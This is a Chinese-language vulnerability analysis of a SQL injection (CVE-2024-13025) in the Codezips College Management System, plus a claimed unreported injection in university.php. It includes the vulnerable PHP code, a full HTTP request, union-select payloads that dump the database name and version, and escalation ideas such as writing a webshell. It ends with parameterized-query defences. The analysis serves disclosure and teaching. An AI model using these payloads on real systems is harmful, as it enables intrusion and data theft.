CVE-2024-13025-Codezips 大学管理系统 faculty.php sql 注入分析及拓展
字数 1355 2025-08-22 12:23:06
Codezips 大学管理系统 SQL 注入漏洞分析及利用教程
漏洞概述
本教程详细分析 Codezips 大学管理系统 (College Management System In PHP With Source Code) 中存在的 SQL 注入漏洞(CVE-2024-13025)以及一个未被发现的 0day 漏洞。该系统是一个基于 PHP 的大学管理系统,主要用于教育机构管理学生、教师和课程等信息。
漏洞详情
1. CVE-2024-13025 - faculty.php SQL 注入
漏洞位置: /college-mgmt-php-master/Front-end/faculty.php
漏洞类型: SQL 注入
影响参数: book_name 和 book_author
漏洞成因: 用户输入未经过滤直接拼接到 SQL 查询语句中
漏洞代码分析
<?php
if(isset($_POST['search_book'])) {
$name=$_POST['book_name'];
$author=$_POST['book_author'];
$query = "SELECT * FROM book WHERE book_name = '$name' AND author = '$author'";
$results = mysqli_query($db, $query);
$row = mysqli_fetch_array($results);
?>
这段代码存在以下问题:
- 直接使用
$_POST获取用户输入 - 未对用户输入进行任何过滤或转义
- 直接将用户输入拼接到 SQL 查询语句中
漏洞复现
请求方法: POST
请求头:
POST /college-mgmt-php-master/Front-end/faculty.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=40a20a299e19c127ad0ed71b0cf004cb
Content-Length: 59
恶意负载:
book_name=x'+union+select+NULL,database(),NULL,NULL--+-&book_author=x&search_book=
利用说明:
- 通过
book_name参数注入 SQL 代码 - 使用联合查询获取数据库信息
--+-用于注释掉原始查询的剩余部分
2. 0day 漏洞 - university.php SQL 注入
漏洞位置: /college-mgmt-php-master/Front-end/university.php
漏洞类型: SQL 注入
漏洞描述: 该文件存在与 faculty.php 相同的 SQL 注入漏洞,但之前未被发现
利用方法: 使用联合注入技术,与 faculty.php 的利用方式类似
3. 风险代码问题
文件位置: 未明确指定(可能是 visitor 表相关处理文件)
问题描述:
- 存在绕过前端验证的风险
- 可以插入恶意数据绕过邮箱格式、密码长度等前端检查
- 可能导致插入恶意代码或执行非预期操作
漏洞利用进阶
1. 信息收集
通过 SQL 注入可以获取以下信息:
- 数据库名称
- 表结构
- 用户凭证
- 系统配置
示例查询获取数据库版本:
book_name=x'+union+select+NULL,version(),NULL,NULL--+-&book_author=x&search_book=
2. 数据提取
使用以下技术提取数据:
- 联合查询
- 基于错误的注入
- 基于时间的盲注
- 外带数据 (OOB)
3. 权限提升
如果数据库用户具有足够权限,可以:
- 读取系统文件
- 写入文件(获取 webshell)
- 执行系统命令
防御措施
1. 输入验证
对所有用户输入进行严格验证:
- 白名单验证
- 数据类型检查
- 长度限制
2. 参数化查询
使用预处理语句和参数化查询:
$stmt = $db->prepare("SELECT * FROM book WHERE book_name = ? AND author = ?");
$stmt->bind_param("ss", $name, $author);
$stmt->execute();
3. 最小权限原则
数据库用户应仅具有必要的最小权限
4. 错误处理
避免显示详细的数据库错误信息给用户
5. Web 应用防火墙
部署 WAF 防止 SQL 注入攻击
总结
Codezips 大学管理系统存在多处安全问题:
- faculty.php 存在已公开的 SQL 注入漏洞 (CVE-2024-13025)
- university.php 存在未被发现的 SQL 注入漏洞 (0day)
- 系统存在风险代码,可能绕过前端验证
开发人员应立即修复这些问题,用户应避免在生产环境中使用存在漏洞的版本。